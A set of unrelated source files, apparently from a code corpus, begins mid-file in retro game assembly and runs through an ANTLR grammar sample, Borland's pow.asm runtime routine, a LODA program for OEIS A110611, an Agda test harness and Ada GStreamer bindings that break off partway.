_scanBreak: clr keyBreakDown ldaa #%11111011 staa 2 ldaa 3 bita #%00000010 bne _done inc keyBreakDown _done: rts ;---------------------------------------- ;keyboardScanMenu ;Checks for enter, break and y/n ;---------------------------------------- keyEnter .byte %10111111,%00001000 keyQ .byte %11111101,%00000100 key5 .byte %11011111,%00010000 keyEnterDown .byte 0 keyQDown .byte 0 .module KeyboardScanMenu keyboardScanMenu: _scanEnter: clr keyEnterDown ldx #keyEnter ldaa ,x staa 2 ldaa KeyReg inx bita ,x bne _scanQ inc keyEnterDown _scanQ: clr keyQDown ldx #keyQ ldaa ,x staa 2 ldaa KeyReg inx bita ,x bne _scan5 inc keyQDown _scan5: tst cheating beq _scanBreak ldx #key5 ldaa ,x staa 2 ldaa KeyReg inx bita ,x bne _scanBreak ldaa #5 staa lives _scanBreak: clr keyBreakDown ldaa #%11111011 staa 2 ldaa 3 bita #%00000010 bne _done inc keyBreakDown _done: rts ;---------------------------------------- ;fillScreen ;Fill the screen ;'a' should contain fill byte ;---------------------------------------- .module FillScreen fillScreen: ldx #VideoRAM _fillLoop: staa ,x inx cpx #VideoRAM+VideoRAMLen bne _fillLoop rts ;---------------------------------------- ;clearPlayfield ;Clear the playfield (not the status bar in row 0) ;---------------------------------------- .module ClearPlayfield clearPlayfield: ldx #VideoRAM+BytesPerRow ;skip first row ldaa #BackgroundByte _fillLoop: staa ,x inx cpx #VideoRAM+VideoRAMLen bne _fillLoop rts ;---------------------------------------- ;stageIntroClear ;Clear the stage intro text ;---------------------------------------- .module StageIntroClear stageIntroClear: ldx #VideoRAM+(BytesPerRow*7) ;skip first row ldaa #BackgroundByte _fillLoop: staa ,x inx cpx #VideoRAM+(BytesPerRow*10) bne _fillLoop rts ;---------------------------------------- ;stringLength ;Returns length of a string. ;'x' = string pointer ;'x' is preserved. ;---------------------------------------- .module StringLength stringLength: ldaa #0 pshx _loop: ldab ,x beq _done inx inca bra _loop _done: pulx rts ;---------------------------------------- ;stringWriteCentered ;Write string centered horizontally ;'a' = row (0-31) ;'x' = string pointer ;---------------------------------------- .module StringWriteCentered _row .equ B0 _len .equ B1 stringWriteCentered: staa _row jsr stringLength staa _len ldaa #BytesPerRow suba _len lsra ldab _row jsr stringWrite rts ;---------------------------------------- ;stringWrite ;Write string to screen ;'a' = x (0-31) ;'b' = y (0-15) ;'x' = string pointer ;---------------------------------------- .module StringWrite _xhi .equ B0 _x .equ B1 _screenPtr .equ W0 _stringPtr .equ W1 stringWrite: stx _stringPtr staa _x clr _xhi ldaa #BytesPerRow mul ;multiply y*BytesPerRow addd _xhi addd #VideoRAM std _screenPtr _loop: ldx _stringPtr ldaa ,x beq _done ;null terminator cmpa #'a' blo _doChar cmpa #'z' bhi _doChar suba #96 _doChar: inx stx _stringPtr ldx _screenPtr staa ,x inx stx _screenPtr bra _loop _done: rts ;---------------------------------------- ;stringWriteByte ;Write a byte as a decimal value, limited to 2 digits (lives, timer, stage #). ;'a' = x (0-31) ;'b' = y (0-15) ;'x' points to byte to write ;---------------------------------------- .module StringWriteByte _val .byte 0 _x .byte 0 _y .byte 0 stringWriteByte: staa _x stab _y ldaa ,x staa _val ldx #buff ldaa #'0' staa 0,x staa 1,x clr 2,x ldaa _val _loop: cmpa #10 bcs _done suba #10 ldab 0,x incb stab 0,x bra _loop _done: adda 1,x staa 1,x ldaa _x ldab _y jsr stringWrite rts ;---------------------------------------- ;'random' number generator ;rndSeed initializes with CPUTicks ;rndGet returns 0-255 in 'a' ;rndGetMax returns 0-'a' in 'a'. Limited to 31 max for speed. ; ;'borrowed' from https://codebase64.org/doku.php?id=base:small_fast_8-bit_prng ;TODO: Replace this. The repeating pattern is too obvious and it will never ;give the same number twice until all 256 numbers returned. It's probably good ;enough for simple games. ;---------------------------------------- .module RandomNumber _seed: .byte 55 _xorVal: .byte $1d _xorValues: .byte $1d,$2b,$2d,$4d,$5f,$63,$65,$69 .byte $71,$87,$8d,$a9,$c3,$cf,$e7,$f5 rndSeed: ldaa CPUTicksLow staa _seed ldab CPUTicks andb #$0F ldx #_xorValues abx ldaa ,x staa _xorVal rts rndGet: ldaa _seed beq _doXor asla beq _noXor ;if the input was $80, skip the EOR bcc _noXor _doXor: eora _xorVal _noXor: staa _seed rts rndGetMax: staa B5 jsr rndGet anda #%00011111 ;limit to 0-31 to minimize loops _loop: cmpa B5 bls _done suba B5 bra _loop _done: rts ;---------------------------------------- ;clockUpdate ;Calcs deltaMS. ;---------------------------------------- .module ClockUpdate _ticks .word $0000 _msCounter .word 895 clockUpdate: ldd CPUTicks std _ticks subd cpuTicksSave std deltaTicks ldd _ticks std cpuTicksSave ldd #0 std deltaMS ldd _msCounter ;TODO: This seems convoluted. subd deltaTicks bcc _deltaLower ldd deltaTicks _deltaHigher: ;deltaTicks > msCounter subd _msCounter bcs _dh1 std _ticks ldd deltaMS addd #1 std deltaMS ldd #CPUTicksPerMS std _msCounter ldd _ticks bra _deltaHigher _dh1: ldd _msCounter subd _ticks _deltaLower: ;deltaTicks < msCounter std _msCounter rts ;---------------------------------------- ;clockWait ;Waits for 'd' ms. ;---------------------------------------- .module ClockWait _tmpW .word $0000 clockWait: std _tmpW jsr clockUpdate ;discard any previous delta _loop: jsr clockUpdate ldd _tmpW subd deltaMS std _tmpW bcc _loop rts ;---------------------------------------- ;wipeScreenAltLines ;Fill screen with char in 'a' by sliding them in from ;left/right side on alternating rows. ;---------------------------------------- .module WipeScreenAltLines _col .equ B0 _row .equ B1 _chr .equ B2 wipeScreenAltLines: staa _chr ldaa #32 staa _col _colLoop: ldx #VideoRAM ldaa #16 staa _row _rowLoop: ldaa _row bita #1 beq _evenRow ldab #0 addb _col decb bra _cont _evenRow ldab #BytesPerRow subb _col _cont: pshx abx ldaa _chr staa ,x pulx ldab #BytesPerRow abx dec _row bne _rowLoop pshx ldd #10 jsr clockWait pulx dec _col bne _colLoop rts ;======================================== ;Sprite Frame Data ;======================================== PlayerClr0 .equ RedPixel PlayerClr1 .equ BluePixel PlayerClr2 .equ RedPixel ;change color for flashing gun PlayerClr3 .equ BluePixel ;Frames: 0=even x/even y, 1=odd x/even y, 2=even x/odd y, 3=odd x/odd y ;Player never changes from even y so only 0 and 1 needed. playerFrame0_0: .byte 4,2 .byte $80, PlayerClr0+%0011, $80,$80 .byte PlayerClr1+%0110, PlayerClr1+%1100,PlayerClr1+%1001,$80 playerFrame0_1: .byte 4,2 .byte $80, PlayerClr0+%0001, PlayerClr0+%0010, $80 .byte PlayerClr1+%0001, PlayerClr1+%1100, PlayerClr1+%1100,PlayerClr1+%0010 ;frame set 1 is not used with the player unless PlayerClr2 is changed. playerFrame1_0: .byte 4,2 .byte $80, PlayerClr2+%0011, $80,$80 .byte PlayerClr3+%0110, PlayerClr3+%1100,PlayerClr3+%1001,$80 playerFrame1_1: .byte 4,2 .byte $80, PlayerClr2+%0001, PlayerClr2+%0010, $80 .byte PlayerClr3+%0001, PlayerClr3+%1100, PlayerClr3+%1100,PlayerClr3+%0010 ;Frame set: An array of 4 frames for each possible even/odd position. Must be 4 frames. playerFrameSet0: .word playerFrame0_0,playerFrame0_1,playerFrame0_0,playerFrame0_1 playerFrameSet1: .word playerFrame1_0,playerFrame1_1,playerFrame1_0,playerFrame1_1 ;Frame Seq: An array of frame sets. Each frame set is one logical frame of animation. playerFrameSeq0: .word playerFrameSet0,playerFrameSet1 ;Delay between frames of animation. playerDelays0: .word 50,50 ;---------------------------------------- playerOpenScreenFrame: .byte 4,2 .byte $80, PlayerClr0+%0011, $80,$80 .byte PlayerClr1+%0110, PlayerClr1+%1100,PlayerClr1+%1001,$80 eraseOpenScreenFrame: .byte 4,2 .byte $80,$80,$80,$80 .byte $80,$80,$80,$80 ;---------------------------------------- PShotClr0 .equ BuffPixel pShotFrame0_0: .byte 2,1 .byte PShotClr0+%1100,$80 pShotFrame0_1: .byte 2,1 .byte PShotClr0+%0100,PShotClr0+%1000 pShotFrame0_2: .byte 2,1 .byte PShotClr0+%0011, $80 pShotFrame0_3: .byte 2,1 .byte PShotClr0+%0001, PShotClr0+%0010 pShotFrameSet0: .word pShotFrame0_0,pShotFrame0_1,pShotFrame0_2,pShotFrame0_3 pShotFrameSeq0: .word pShotFrameSet0 pShotDelays0: .word 25 pShotFrameCount .equ 1 ;---------------------------------------- E0Color0 .equ RedPixel E0Color1 .equ YellowPixel e0Frame0_0: .byte 3,3 .byte $80,E0Color0+%0011,$80 .byte E0Color0+%1111,E0Color1+%1000,E0Color0+%1111 .byte $80,E0Color0+%1100,$80 e0Frame1_0: .byte 3,3 .byte $80,E0Color0+%0011,$80 .byte E0Color0+%1111,E0Color1+%0100,E0Color0+%1111 .byte $80,E0Color0+%1100,$80 e0Frame2_0: .byte 3,3 .byte $80,E0Color0+%0011,$80 .byte E0Color0+%1111,E0Color1+%0001,E0Color0+%1111 .byte $80,E0Color0+%1100,$80 e0Frame3_0: .byte 3,3 .byte $80,E0Color0+%0011,$80 .byte E0Color0+%1111,E0Color1+%0010,E0Color0+%1111 .byte $80,E0Color0+%1100,$80 ;enemy 0 only allowed on even X and y e0FrameSet0: .word e0Frame0_0,e0Frame0_0,e0Frame0_0,e0Frame0_0 e0FrameSet1: .word e0Frame1_0,e0Frame1_0,e0Frame1_0,e0Frame1_0 e0FrameSet2: .word e0Frame2_0,e0Frame2_0,e0Frame2_0,e0Frame2_0 e0FrameSet3: .word e0Frame3_0,e0Frame3_0,e0Frame3_0,e0Frame3_0 e0FrameSeq0: .word e0FrameSet0,e0FrameSet1,e0FrameSet2,e0FrameSet3 e0Delays0: .word 100,100,100,100 e0FrameCount .equ 4 ;---------------------------------------- ;Enemy1 E1Color0 .equ RedPixel E1Color1 .equ GreenPixel E1Color2 .equ CyanPixel e1Frame0_0: .byte 3,1 .byte E1Color0+%1001,E1Color1+%0011,E1Color0+%0110 ;.byte $80,$80,$80 ;enemy1Frame0_2: .byte 4,2 ;unused ; .byte E1Color0+%0010,$80,E1Color0+%0001 ; .byte E1Color0+%0100,E1Color1+%1100,E1Color0+%1000 e1Frame1_0: .byte 3,1 .byte E1Color0+%1001,E1Color2+%0011,E1Color0+%0110 ;enemy 0 only allowed on even X and y e1FrameSet0: .word e1Frame0_0,e1Frame0_0,e1Frame0_0,e1Frame0_0 e1FrameSet1: .word e1Frame1_0,e1Frame1_0,e1Frame1_0,e1Frame1_0 e1FrameSeq0: .word e1FrameSet0,e1FrameSet1 e1Delays0: .word 100,100 e1FrameCount .equ 2 ;---------------------------------------- ;EShot 0 EShot0Clr0 .equ RedPixel eShot0Frame0_0: .byte 2,1 .byte EShot0Clr0+%1100,$80 eShot0Frame0_1: .byte 2,1 .byte EShot0Clr0+%0100,EShot0Clr0+%1000 eShot0Frame0_2: .byte 2,1 .byte EShot0Clr0+%0011, $80 eShot0Frame0_3: .byte 2,1 .byte EShot0Clr0+%0001, EShot0Clr0+%0010 eShot0FrameSet0: .word eShot0Frame0_0,eShot0Frame0_1,eShot0Frame0_2,eShot0Frame0_3 eShot0FrameSeq0: .word eShot0FrameSet0 eShot0Delays0: .word 25 eShot0FrameCount .equ 1 ;---------------------------------------- ;EShot 1 - magenta/cyan zigzag laser EShot1Clr0 .equ MagentaPixel EShot1Clr1 .equ CyanPixel eShot1Frame0_0: .byte 2,1 .byte EShot1Clr0+%1100,EShot1Clr1+%0011 ;.byte EShot1Clr0+%1100,EShot1Clr1+%0011 eShot1Frame1_0: .byte 2,1 .byte EShot1Clr1+%0011,EShot1Clr0+%1100 ;.byte EShot1Clr1+%0011,EShot1Clr0+%1100 eShot1FrameSet0: .word eShot1Frame0_0,eShot1Frame0_0,eShot1Frame0_0,eShot1Frame0_0 eShot1FrameSet1: .word eShot1Frame1_0,eShot1Frame1_0,eShot1Frame1_0,eShot1Frame1_0 eShot1FrameSeq0: .word eShot1FrameSet0,eShot1FrameSet1 eShot1Delays0: .word 50,50 eShot1FrameCount .equ 2 ;---------------------------------------- ;EnemyX - extra man letter ExColor0 .equ OrangePixel exFrame0_0: .byte 3,1 .byte ExColor0+%0011,'E',ExColor0+%1100 exFrame1_0: .byte 3,1 .byte ExColor0+%1001,'E',ExColor0+%1001 exFrame2_0: .byte 3,1 .byte ExColor0+%1100,'E',ExColor0+%0011 exFrame3_0: .byte 3,1 .byte ExColor0+%0110,'E',ExColor0+%0110 ;enemy X only allowed on even X and y exFrameSet0: .word exFrame0_0,exFrame0_0,exFrame0_0,exFrame0_0 exFrameSet1: .word exFrame1_0,exFrame1_0,exFrame1_0,exFrame1_0 exFrameSet2: .word exFrame2_0,exFrame2_0,exFrame2_0,exFrame2_0 exFrameSet3: .word exFrame3_0,exFrame3_0,exFrame3_0,exFrame3_0 exFrameSeq0: .word exFrameSet0,exFrameSet1,exFrameSet2,exFrameSet3 exDelays0: .word 100,100,100,100 exFrameCount .equ 4 ;---------------------------------------- ;enemyB - bonus stage item ebFrame0_0: .byte 1,1 .byte '$'+64 ebFrameSet0: .word ebFrame0_0,ebFrame0_0,ebFrame0_0,ebFrame0_0 ebFrameSeq0: .word ebFrameSet0 ebDelays0: .word 25 ebFrameCount .equ 1 ;---------------------------------------- ;Enemy2 E2Color0 .equ CyanPixel E2Color1 .equ YellowPixel E2Color2 .equ BluePixel e2Frame0_0: .byte 4,2 .byte E2Color0+%0001,E2Color1+%0011,E2Color1+%0011,E2Color0+%0010 .byte E2Color0+%1000,E2Color0+%1100,E2Color0+%1100,E2Color0+%0100 e2Frame1_0: .byte 4,2 .byte E2Color0+%0010,E2Color1+%0011,E2Color1+%0011,E2Color0+%0001 .byte E2Color0+%0100,E2Color0+%1100,E2Color0+%1100,E2Color0+%1000 ;enemy 2 only allowed on even X and y e2FrameSet0: .word e2Frame0_0,e2Frame0_0,e2Frame0_0,e2Frame0_0 e2FrameSet1: .word e2Frame1_0,e2Frame1_0,e2Frame1_0,e2Frame1_0 e2FrameSeq0: .word e2FrameSet0,e2FrameSet1 e2Delays0: .word 100,100 e2FrameCount .equ 2 ;---------------------------------------- ;Enemy3 E3Color0 .equ GreenPixel E3Color1 .equ MagentaPixel E3Color2 .equ CyanPixel e3Frame0_0: .byte 4,2 .byte $80,E3Color0+%0011,E3Color0+%0011,$80 .byte E3Color0+%1110,E3Color1+%0101,E3Color2+%1010,E3Color0+%1101 e3Frame1_0: .byte 4,2 .byte $80,E3Color0+%0011,E3Color0+%0011,$80 .byte E3Color0+%1110,E3Color2+%0101,E3Color1+%1010,E3Color0+%1101 ;enemy 3 only allowed on even X and y e3FrameSet0: .word e3Frame0_0,e3Frame0_0,e3Frame0_0,e3Frame0_0 e3FrameSet1: .word e3Frame1_0,e3Frame1_0,e3Frame1_0,e3Frame1_0 e3FrameSeq0: .word e3FrameSet0,e3FrameSet1 e3Delays0: .word 100,100 e3FrameCount .equ 2 ;---------------------------------------- ;Enemy4 E4Color0 .equ RedPixel E4Color1 .equ YellowPixel e4Frame0_0: .byte 5,3 .byte $80,E4Color1+%0111,E4Color0+%0011,E4Color1+%1011,$80 .byte E4Color0+%0001,E4Color0+%1011,E4Color0+%1111,E4Color0+%0111,E4Color0+%0010 .byte $80,E4Color0+%1101,E4Color1+%0011,E4Color0+%1110,$80 e4Frame1_0: .byte 5,3 .byte $80,E4Color1+%0111,E4Color0+%0011,E4Color1+%1011,$80 .byte E4Color0+%0001,E4Color0+%1011,E4Color0+%1111,E4Color0+%0111,E4Color0+%0010 .byte $80,E4Color0+%1101,E4Color1+%0011,E4Color0+%1110,$80 ;enemy 3 only allowed on even X and y e4FrameSet0: .word e4Frame0_0,e4Frame0_0,e4Frame0_0,e4Frame0_0 e4FrameSet1: .word e4Frame1_0,e4Frame1_0,e4Frame1_0,e4Frame1_0 e4FrameSeq0: .word e4FrameSet0,e4FrameSet1 e4Delays0: .word 100,100 e4FrameCount .equ 2 ;---------------------------------------- ;Enemy variables and data ;---------------------------------------- enemyCreateArray .word e0Create,e1Create,e2Create,e3Create,e4Create enemyMax .byte 1 deathDelays: .word 2000,2000,2000,2000 ;for player/enemy death sequence enemyDelay .word 1000 ;MS between enemy spawns enemyTimer .word 0 ;MS until next spawn .end
third_party/antlr_grammars_v4/antlr/antlr4/examples/Issue1567.g4
mikhan808/rsyntaxtextarea-antlr4-extension
4
694
grammar Sample; options { foo = {}; } @members { int method() { return 1; } }
Borland/CBuilder5/Source/RTL/source/math/pow.asm
TrevorDArcyEvans/DivingMagpieSoftware
1
93245
;[]-----------------------------------------------------------------[] ;| POW.ASM -- power function | ;[]-----------------------------------------------------------------[] ; ; C/C++ Run Time Library - Version 10.0 ; ; Copyright (c) 1991, 2000 by Inprise Corporation ; All Rights Reserved. ; ; $Revision: 9.1 $ ;---------------------------------------------------------------------- ; function(s) ; pow - power function, x^y ;---------------------------------------------------------------------- include RULES.ASI include _MATH.INC ; Segments Definitions Header@ ;---------------------------------------------------------------------- ; External variables Data_Seg@ ExtSym@ _huge_dble, qword, cdecl HUGE_VAL equ _huge_dble@ NANLOG dw 0,0,00480H, 0FFF8H if 1 ; was ifdef MASM, but TASM for OS/2 has a bug here as well zero dw 0,0,0,0 ; was dq 0.0, but NT MASM386 blows up one dw 0, 0, 0, 3ff0h ; was dq 1.0, but NT MASM386 blows up else zero dq 0.0 one dq 1.0 endif Data_EndS@ ;-------------------------------------------------------------------------- ; ;Name pow - power function, x^y ; ;Usage double pow(double x, double y); ; ;Prototype in math.h ; ;Description Return the value of x to the power of y. If x is zero then ; y must be positive, and if x is negative then y must be ; integral. ; ; First the special cases Y == 0 or X == 0 or X == infinity ; are detected and given standard answers. ; ; Two methods of calculation are used, depending upon whether ; Y is an integer of less than 64 bits. If not, then ; ; X^Y = 2^(Log2(X) * Y) ; = DoExps ( DoLogs (X, Y), not scaled) ; ; If Y is an integer then it can be represented as a binary ; number ; ; Y = B0 + B1.2 + B2.+ .. Bn.2^n ; ; where the B coefficients are 0 or 1, and Bn is always 1, ; for some n. The power of X is then calculated as: ; ; Z = X; ; while (n-- > 0) ; Z *= Z; ; if (Bn) Z *= X; ; ; which is the standard trick for fast integral powers. It ; works for any X, positive or negative, if Y is not zero. In ; practice it will run faster than the DoExps (DoLogs()) ; method for |Y| < 100, roughly, and slower for larger ; powers. Such large powers are very rare in actual usage. ; ; Powers greater than 2^64 in theory may be integers. ; However, it is also likely that such large numbers have ; lost precision (especially when you consider that the C ; data type "double" is 53 bits precise). These will be ; treated as if fractional. If X is positive and very close ; to 1.0, then an answer may be possible, but if X is ; negative an exception is generated. The rationale for the ; exception is that if the least bits of Y have been lost ; then it is not possible to be sure whether the result ; should be positive or negative, so there is a total loss of ; precision. ; ;;Return value Return the value of x to the power of y. ; When the correct value would overflow, pow returns the ; value HUGE_VAL. ; ; If the argument x passed to pow is less than or equal to 0 ; and y is not a whole number, then errno is set to ; EDOM Domain error ; ; If x and y are both zero, then the return value is 1.0 and ; there is no error. Many C compilers consider this a DOMAIN ; error as technically 0^0 is undefined. There are continuous ; function f(x) and g(x) such that f(0) = 0 and g(0) = 0, but ; with the limit of f(x)/g(x) as x tends to 0 being any real ; number. However, there is an elementary theorem that states ; that f(x) and g(x) are analytic and nonzero, then the limit ; is always 1. Thus in a finite precision computing ; environment, it is hard to imagine a situation where a ; number other than 1 is desirable. ; ;-------------------------------------------------------------------------- Code_Seg@ Func@ pow, _EXPFUNC, _RTLENTRY, <double x>, <double y> Locals@ <double temp>,<longdouble templ>,<word filler>,<word sword>,<word negate> ; (filler pads the stack to align 4) ; double temp; ; also used as a 64-bit integer ; unsigned sword; ; status-word from testing y ; char negate = 0; ; boolean, negate after exp() ? Link@ ebx mov negate.by0, 0 FLD x.double mov bx, 7FF0h ; mask just the exponent mov ax, x [6] and ax, bx jz pow_ofZero cmp ax, bx je pow_ofInfinity FLD y.double mov ax, y [6] and ax, bx jz pow_toZero cmp ax, bx je pow_toInfinity jmp pow_normal ;** Special cases ** ; ; Raising any number to infinity is treated as a range error. pow_toInfinity: FSTP temp.double ; propagate Y thru to result jmp short pow_discard ; Powers of infinity are range errors. pow_ofInfinity: FSTP temp.double ; propagate X thru to result mov ax, y[6] or ax, ax jge pow_overflow ; jump if exponent nonnegative mov edx, UNDERFLOW mov ecx, offset FLAT: zero ; temp = 0.0; jmp short pow_complain ; Arrive here if Y is zero. The zero'th power of any number is 1. pow_toZero: FSTP ST(0) ; discard Y FSTP ST(0) ; discard X ; return (1.0); FLD1 jmp pow_end pow_discard: FSTP ST(0) ; discard X pow_overflow: mov edx, OVERFLOW ;;;;; lea ecx, temp mov ecx, offset FLAT: HUGE_VAL jmp short pow_complain ; Powers of 0 are (EDOM, 1, 0) as Y ranges over (negative, zero, positive). pow_ofZero: FSTP ST(0) ; discard X mov ax, y [6] or ax, ax ; was Y positive ? jg pow_zero mov edx, DOMAIN je pow_zz ; temp = HUGE_VAL; mov ecx, offset FLAT: HUGE_VAL jmp short pow_complain pow_zz: ; temp = 1.0; mov ecx, offset FLAT: one pow_complain: ; return __matherr (EDX, "pow", &x, &y, [ECX]); matherr edx, pow, x, y, [ecx] jmp pow_end pow_zero: ; return 0.0 FLDZ jmp pow_end ;** End of Special Cases ** ; If arrived here then both x and y seem to be ordinary numbers. pow_normal: FCLEX FRNDINT FSTSW sword.w0 ; is Y an integer FWAIT test sword.by0, 20h ; precision error if not jz pow_integral FSTP ST(0) ; discard Y ; Arrive here if the exponent exceeds integer range or if it contains ; a fractional part. Calculate using Log and Exp functions. Just ; x is on 87-stack. pow_fractional: ; make sure that x > 0 FTST FSTSW sword.w0 ; is Y an integer FWAIT mov ax, sword sahf jae pow_log FSTP ST(0) ; temp = *((double *) NANLOG); mov edx, DOMAIN mov ecx, offset FLAT: NANLOG jmp short pow_complain pow_log: ; arg is > 0, so log cannot fail f87 Log FMUL y.double FSTP templ.longdouble mov ax, 7FFFh and ax, templ [8] ; select exponent cmp ax, 4008h jb exp_justFits ; exp (+-709) is the limit for double exp_tooBig: mov ax, 0FFFFh ; force extreme ja exp_excess mov ax, templ [6] exp_excess: test BY0 (templ [9]), 80h jnz exp_tooTiny cmp ax, 0B172h jb exp_justFits mov edx, OVERFLOW mov ecx, offset FLAT: HUGE_VAL jmp pow_complain exp_tooTiny: cmp ax, 0B172h jb exp_justFits mov edx, UNDERFLOW mov ecx, offset FLAT: zero jmp pow_complain exp_justFits: FLD templ.longdouble f87 Exp ; if (negate) FCHS; cmp negate.by0, 0 je pow_end2 FCHS pow_end2: jmp pow_end ; If arrived here then Y is some integer of up to 64 bits and has ; been copied to temp. Y is ST(0), X is ST(1), AX is exponent of Y. pow_integral: mov cl, 4 ror ax, cl sub ax, 3FFh ; remove the bias cmp ax, 63 ; AX = n, the exponent jb pow_trueIntegral FSTP ST(0) ; discard Y jmp pow_fractional ; The shift-and-add method is not accurate for extreme powers since ; round off errors are magnified. However, we cannot simply call for ; evaluation like fractional powers because X may be negative and ; fractional negative powers are treated as exceptions. pow_trueIntegral: cmp al, 12 jb pow_shiftAndAdd pow_unsafeRange: FISTP qword ptr (temp) ; store an integer copy of Y test BY0 (x [7]), 80h ; X less than 0 ? jz pow_fractional ; X not signed, so no worry FCHS ; make X absolute test BY0 (temp), 01h ; odd or even ? jz pow_fractional ; even powers are positive ; If we arrive here then X was negative and Y was odd. Calculate with ; abs(X) and then negate result. ; negate = 1; mov negate.by0, 1 jmp pow_fractional ; Arrive here for modest integral powers of any number. We must also ; check for overflow, by making a worst-case check on log (X^Y). If ; it has a potential to overflow, then we use the exp(log()) method. pow_shiftAndAdd: mov bx, x [6] shl bx, 1 sub bx, 7FE0h ; BX estimates log2 (X) mov dx, bx xchg cx, ax inc cx ; 2^CL is max possible Y shl bx, cl ; multiply BX by max Y sar bx, cl dec cx xchg ax, cx cmp bx, dx ; did BX lose any bits ? jne pow_unsafeRange FLD ST (1) ; Z = X mov dx, y [4] mov bl, y [6] and bl, 0Fh ; most significant nibble and dl, 0F0h ; DX is the next 12 bits or dl, bl ror dx, cl ; top 16 bits of fraction pow_iWhileBit: dec al jl pow_maybeInverse FMUL ST(0), ST(0) ; Z *= Z shl dx, 1 jnc pow_iWhileBit FMUL ST(0), ST(2) ; Z *= X jmp short pow_iWhileBit pow_maybeInverse: fstp_st1 ; overwrite Y test BY0 (y [7]), 80h ; was Y a negative power ? fstp_st1 ; overwrite X jz pow_iDone FLD1 FDIVRP ST(1), ST(0) ; if so, invert result. pow_iDone: pow_end: Unlink@ ebx Return@ EndFunc@ pow Code_EndS@ end
oeis/110/A110611.asm
neoneye/loda-programs
11
7763
<reponame>neoneye/loda-programs<gh_stars>10-100 ; A110611: Minimal value of sum(p(i)p(i+1),i=1..n), where p(n+1)=p(1), as p ranges over all permutations of {1,2,...,n}. ; 1,4,11,21,37,58,87,123,169,224,291,369,461,566,687,823,977,1148,1339,1549,1781,2034,2311,2611,2937,3288,3667,4073,4509,4974,5471,5999,6561,7156,7787,8453,9157,9898,10679,11499,12361,13264,14211,15201,16237,17318,18447,19623,20849,22124,23451,24829,26261,27746,29287,30883,32537,34248,36019,37849,39741,41694,43711,45791,47937,50148,52427,54773,57189,59674,62231,64859,67561,70336,73187,76113,79117,82198,85359,88599,91921,95324,98811,102381,106037,109778,113607,117523,121529,125624,129811,134089 add $0,2 mov $1,$0 pow $0,3 add $0,$1 add $0,$1 div $0,6 sub $0,1
test/js/TestHarness.agda
redfish64/autonomic-agda
1
15815
<filename>test/js/TestHarness.agda open import Common.Prelude module TestHarness where record ⊤ : Set where data ⊥ : Set where T : Bool → Set T true = ⊤ T false = ⊥ infixr 4 _,_ data Asserts : Set where ε : Asserts _,_ : Asserts → Asserts → Asserts assert : (b : Bool) → {b✓ : T b} → String → Asserts Tests : Set Tests = ⊤ → Asserts
src/gen/gstreamer-gst_low_level-gstreamer_0_10_gst_basecamerabinsrc_gstbasecamerasrc_h.ads
persan/A-gst
1
15431
pragma Ada_2005; pragma Style_Checks (Off); pragma Warnings (Off); with Interfaces.C; use Interfaces.C; with glib; with glib; with glib.Values; with System; with GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstbin_h; with GStreamer.GST_Low_Level.gstreamer_0_10_gst_basecamerabinsrc_gstcamerabin_enum_h; -- limited -- with GStreamer.GST_Low_Level.glib_2_0_glib_gthread_h; limited with GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstcaps_h; limited with GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstelement_h; limited with GStreamer.GST_Low_Level.gstreamer_0_10_gst_basecamerabinsrc_gstcamerabinpreview_h; limited with GStreamer.GST_Low_Level.gstreamer_0_10_gst_gstbuffer_h; package GStreamer.GST_Low_Level.gstreamer_0_10_gst_basecamerabinsrc_gstbasecamerasrc_h is -- unsupported macro: GST_TYPE_BASE_CAMERA_SRC (gst_base_camera_src_get_type()) -- arg-macro: function GST_BASE_CAMERA_SRC (obj) -- return G_TYPE_CHECK_INSTANCE_CAST((obj),GST_TYPE_BASE_CAMERA_SRC,GstBaseCameraSrc); -- arg-macro: function GST_BASE_CAMERA_SRC_GET_CLASS (obj) -- return G_TYPE_INSTANCE_GET_CLASS ((obj), GST_TYPE_BASE_CAMERA_SRC, GstBaseCameraSrcClass); -- arg-macro: function GST_BASE_CAMERA_SRC_CLASS (klass) -- return G_TYPE_CHECK_CLASS_CAST((klass),GST_TYPE_BASE_CAMERA_SRC,GstBaseCameraSrcClass); -- arg-macro: function GST_IS_BASE_CAMERA_SRC (obj) -- return G_TYPE_CHECK_INSTANCE_TYPE((obj),GST_TYPE_BASE_CAMERA_SRC); -- arg-macro: function GST_IS_BASE_CAMERA_SRC_CLASS (klass) -- return G_TYPE_CHECK_CLASS_TYPE((klass),GST_TYPE_BASE_CAMERA_SRC); -- arg-macro: function GST_BASE_CAMERA_SRC_CAST (obj) -- return (GstBaseCameraSrc *) (obj); GST_BASE_CAMERA_SRC_VIEWFINDER_PAD_NAME : aliased constant String := "vfsrc" & ASCII.NUL; -- gst/basecamerabinsrc/gstbasecamerasrc.h:56 GST_BASE_CAMERA_SRC_IMAGE_PAD_NAME : aliased constant String := "imgsrc" & ASCII.NUL; -- gst/basecamerabinsrc/gstbasecamerasrc.h:57 GST_BASE_CAMERA_SRC_VIDEO_PAD_NAME : aliased constant String := "vidsrc" & ASCII.NUL; -- gst/basecamerabinsrc/gstbasecamerasrc.h:58 GST_BASE_CAMERA_SRC_PREVIEW_MESSAGE_NAME : aliased constant String := "preview-image" & ASCII.NUL; -- gst/basecamerabinsrc/gstbasecamerasrc.h:60 MIN_ZOOM : constant := 1.0; -- gst/basecamerabinsrc/gstbasecamerasrc.h:129 MAX_ZOOM : constant := 10.0; -- gst/basecamerabinsrc/gstbasecamerasrc.h:130 -- unsupported macro: ZOOM_1X MIN_ZOOM -- * GStreamer -- * Copyright (C) 2010 Texas Instruments, Inc -- * Copyright (C) 2011 <NAME> <<EMAIL>> -- * -- * This library is free software; you can redistribute it and/or -- * modify it under the terms of the GNU Library General Public -- * License as published by the Free Software Foundation; either -- * version 2 of the License, or (at your option) any later version. -- * -- * This library is distributed in the hope that it will be useful, -- * but WITHOUT ANY WARRANTY; without even the implied warranty of -- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -- * Library General Public License for more details. -- * -- * You should have received a copy of the GNU Library General Public -- * License along with this library; if not, write to the -- * Free Software Foundation, Inc., 59 Temple Place - Suite 330, -- * Boston, MA 02111-1307, USA. -- function gst_base_camera_src_get_type return GLIB.GType; -- gst/basecamerabinsrc/gstbasecamerasrc.h:51 pragma Import (C, gst_base_camera_src_get_type, "gst_base_camera_src_get_type"); type GstBaseCameraSrc; type u_GstBaseCameraSrc_u_gst_reserved_array is array (0 .. 19) of System.Address; --subtype GstBaseCameraSrc is u_GstBaseCameraSrc; -- 